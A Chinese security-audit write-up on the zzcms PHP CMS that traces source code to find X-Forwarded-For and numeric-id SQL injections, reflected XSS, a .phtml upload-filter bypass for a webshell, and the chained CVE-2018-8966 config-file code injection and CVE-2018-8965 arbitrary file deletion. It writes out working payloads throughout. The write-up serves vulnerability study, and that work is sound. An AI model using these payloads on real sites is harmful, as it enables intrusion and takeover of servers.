代码审计zzcms
2019-12-30 10:19:22 Author: xz.aliyun.com(查看原文) 阅读量:272 收藏

先去看一下目录结构,文件有点多,像之前的看代码审计不行了,必须得学点新的审计方式了

先安装上 在安装说明里说要启用这么一个函数
allow_url_fopen
可能存在远程文件包含,先记着

/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
    /3/ckeditor CK编缉器程序存放目录
    /3/alipay 支付宝在线支付系统存放目录
    /3/tenpay 财富通在线支付系统存放目录
    /3/qq_connect2.0 qq登录接口文件
    /3/ucenter_api discuz论坛用户同步登录接口文件
    /3/kefu 在线客服代码
    /3/mobile_msg 第三方手机短信API
    /3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录

/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini  伪静态规则文件for iss6
/.htaccess  伪静态规则文件for apache

根据文件的功能大致猜测了一下 会有那些漏洞,

3 第三方插件 哪里有手机短信 可能会存在逻辑漏洞
inc 系统包含文件所用目录,如果可写,可能存在文件包含+RCE
/uploadfiles 文件上传

逻辑漏洞-密码爆破

看了一下admin目录
这里有个登陆功能,会限制访问次数,
在admin/logincheck.php 的 19行

调用了getip() 跟进

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
}

很明显的xff绕过
密码就可以无限次的爆破

sql注入

在下面的22行这里,有一处ip入库查询操作

$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

$ip被单引号包住了,$ip没有经过过滤
存在注入

测试

这里经过测试 当表中的内容为空时,延时注入不能实现,
这里需要先保证验证码是正确的,猜测一次,然后才可以注入,验证码正确后,会把ip记录到数据库中
payload

X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +

在下面的记录ip次数这里,都调用了$IP变量

$sqln="select * from zzcms_login_times where ip='$ip'";
    $rsn =query($sqln); 
    $rown= num_rows($rsn);
        if ($rown){
            $rown= fetch_array($rsn);   
            if ($rown['count']>=trytimes && strtotime(date("Y-m-d H:i:s"))-strtotime($rown['sendtime'])>jgsj){//15分钟前登录过的归0
            query("UPDATE zzcms_login_times SET count = 0 WHERE ip='$ip'");
            }
        query("UPDATE zzcms_login_times SET count = count+1,sendtime='".date('Y-m-d H:i:s')."' WHERE ip='$ip'");//有记录的更新
        }else{
        query("INSERT INTO zzcms_login_times (count,sendtime,ip)VALUES(1,'".date('Y-m-d H:i:s')."','$ip')");

同样这里也存在注入问题

xff:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +

跟进一下验证码的验证过程
logincheck.php 31行

inc/function.php 234行

function checkyzm($yzm){
if($yzm!=$_SESSION["yzm_math"]){showmsg('验证问题答案错误!','back');}
}

跟进session[yzm_math]
one/code_math.php

getCode(100, 20);
function getCode($w, $h) {
    $im = imagecreate($w, $h);

    //imagecolorallocate($im, 14, 114, 180); // background color
    $black1 = imagecolorallocate($im, 0, 0, 0);
    $white = imagecolorallocate($im, 255, 255, 255);

    $num1 = rand(1, 20);
    $num2 = rand(1, 20);

    $_SESSION['yzm_math'] = $num1 + $num2;

可以前台这里直接审查元素,快速找到验证码是那个页面生成的

这里算是对一般验证码生成的一个了解吧,之前以为验证码是一张张保存好了的图片,这里是先生成随机数,在添加画背景,添加干扰像素,最后设置content-type:image/png 从而生成一张图片验证码

验证码的验证是保存在session中

既然admin登陆这里有注入,再去普通用户登陆看一下
先是有一个注册

这里对输入参数都有格式限制,注入不行了

sql注入

再去看登陆
user/logincheck.php 18行

$ip=getip();
define('trytimes',5);//可尝试登录次数
define('jgsj',10*60);//间隔时间,秒
$sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

和之前admin哪里同样的道理 ip注入

两个登陆处都已经看了,再去看看后台,一般来说都会有发布的功能

找到一处广告
admin/ad_manger.php
找到两处问题
1处sql注入 多处xss

sql注入

67行 这里把$b带入了数据库查询,但是

$sql="select classname from zzcms_adclass where parentid='".$b."' order by xuhao";

回溯$b 19行

$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';

同样这里也不回显,延时盲注

延时注入有一个地方需要注意,就是and和or的特性 最好使用一组数据库中已经存在的数据,然后用and连接

XSS

这里有多处xss
随便找一个

<input name="keyword" type="text" id="keyword" value="<?php echo $keyword?>">

回溯keyword 17行

$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';

输出参数没有经过转义
post

keyword="><script>alert(1)</script>

ad_save.php 发布功能

这里有一个插入行的注入 36行

if ($_REQUEST["action"]=="add"){
query("INSERT INTO zzcms_ad (bigclassname,smallclassname,title,titlecolor,link,img,imgwidth,imgheight,username,starttime,endtime,elite,sendtime)VALUES('$bigclassname','$smallclassname','$title','$titlecolor','$link','$img','$imgwidth','$imgheight','$username','$starttime','$endtime','$elite','".date('Y-m-d H:i:s',time()-(showadvdate+1)*60*60*24)."')");

回溯$bigclassname $smallclassname 28行

$bigclassname=$_POST["bigclassid"];
$smallclassname=$_POST["smallclassid"];

在测试的时候发现单引号被转义,

在下面找到一个貌似可以xss的地方
78行这里 会把参数输出

<td width="33%" align="center" class="border"><a href="ad_manage.php?b=<?php echo $bigclassname?>&s=<?php echo $smallclassname?>&page=<?php echo $page?>">返回</a></td>

试了<>之后 发现也被转义了

找了好长时间,最好在inc/conn.php中找到

if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);    
}

跟进zc_check函数

function zc_check($string){
    if(!is_array($string)){
        if(get_magic_quotes_gpc()){
        return htmlspecialchars(trim($string));
        }else{
        return addslashes(htmlspecialchars(trim($string)));
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;
}

这里转义了post get cookie中的变量

根据之前审bluecms的教训,转义了单引号也没事,找到没有被单引号包住的参数,也能注入
最常用的数字型注入参数 就是id 直接全局搜一下id 碰碰运气
找到了好几个没有被引号包住的

sql注入

admin\dl_sendsms.php 35行
   33: $sql="select * from zzcms_dl where saver<>'' and id in (". $id .")";//ûÓнÓÊÕÈ˵ģ¬·ÇÁôÑÔÀà´úÀí²»Ó÷¢ÌáʾÓʼþ¡£
   34  }else{
   35: $sql="select * from zzcms_dl where saver<>'' and id=".$id."";

admin\showbad.php 30行
   30:   if (strpos($id,",")>0){
   31:      $sql="delete from zzcms_bad where id in (". $id .")";

39行
   39  if ($action=="lockip"){
   40:   if (strpos($id,",")>0){
   41:      $sql="update  zzcms_bad set lockip=1 where id in (". $id .")";

admin\userdel.php 30行
   30: if (strpos($id,",")>0){
   31: $sql="select id,username from zzcms_user where id in (". $id .")";

admin\usernotreg.php 32行
   32:   if (strpos($id,",")>0){
   33:      $sql="delete from zzcms_usernoreg where id in (". $id .")";

以admin/dl_sendmail.php为例
payload

id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23

这里只演示一下漏洞存在 服务端会停顿一下在返回
因为延时盲注,必须要保证表中有数据

XSS

还有一处文件上传的地方
uploadimg_form.php
意外的小惊喜 发现了一处xss 67行

<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />

这个文件没有包含 config.php配置文件 也就是说,他的没有被转义

测试

文件上传

上传文件的流程
uploadimg_from.php ==> uploadimg.php
uploadimg.php中 有一些限制 12行
content-type的限制 很容易绕过

private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
//只要不设定这种类型,php类的文件就无法上传'application/octet-stream'

还有一处对后缀的判断

if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}

phtml就可以绕过

这样就上传拿shell了

去找了两个危害较大并且能够互相利用的CVE 分析了一下

RCE

CVE-2018-8966
这个漏洞需要和下面的任意文件删除相配合,因为该漏洞需要利用install.php重新安装 而zzcms安装完毕后,会生成一个锁文件install.lock

利用过程和bluecms的RCE有点相似
重新安装zzcms

在网站访问地址这里写上
1');phpinfo();#

分析一下
install/index.php 105行

$fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
    $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
    $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
    $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
    fputs($f,$str);//把替换后的内容写入文件
    fclose($f);

这里会把配置信息写入到 inc/config.php中 重点看10 11行这里 把网站地址写入到配置文件中
闭合单引号 写入代码 截断后边

看下写入之后的config.php

define('siteurl','1');phpinfo();#') ;//网站地址
define('logourl','1');phpinfo();#/image/logo.png') ;//Logo地址

在访问一下 inc/config.php

当然这里也可以把代码换成xss

任意文件删除

CVE-2018-8965
代码在/user/ppsave.php的61行

看第一处删除文件unlink

if ($oldimg<>$img && $oldimg<>"image/nopic.gif") {
    //deloldimg
        $f=$oldimg;
        if (file_exists($f)){
        unlink($f);     
        }

回溯$oldimg变量
65行

$oldimg=trim($_POST["oldimg"]);

等于没处理,下一步的if判断也很好满足 不等于就行

if ($oldimg<>$img && $oldimg<>"image/nopic.gif")

测试

这两个漏洞加起来 RCE的漏洞还算是有点作用,要不然太鸡肋了

总结

这次的审计 主要是去找网站的功能,找到相应的功能后,再去找对应的代码,然后回溯变量
这种在代码量比较大的情况下,还算是好用,不过会落下一些漏洞


文章来源: http://xz.aliyun.com/t/7006
如有侵权请联系:admin#unsafe.sh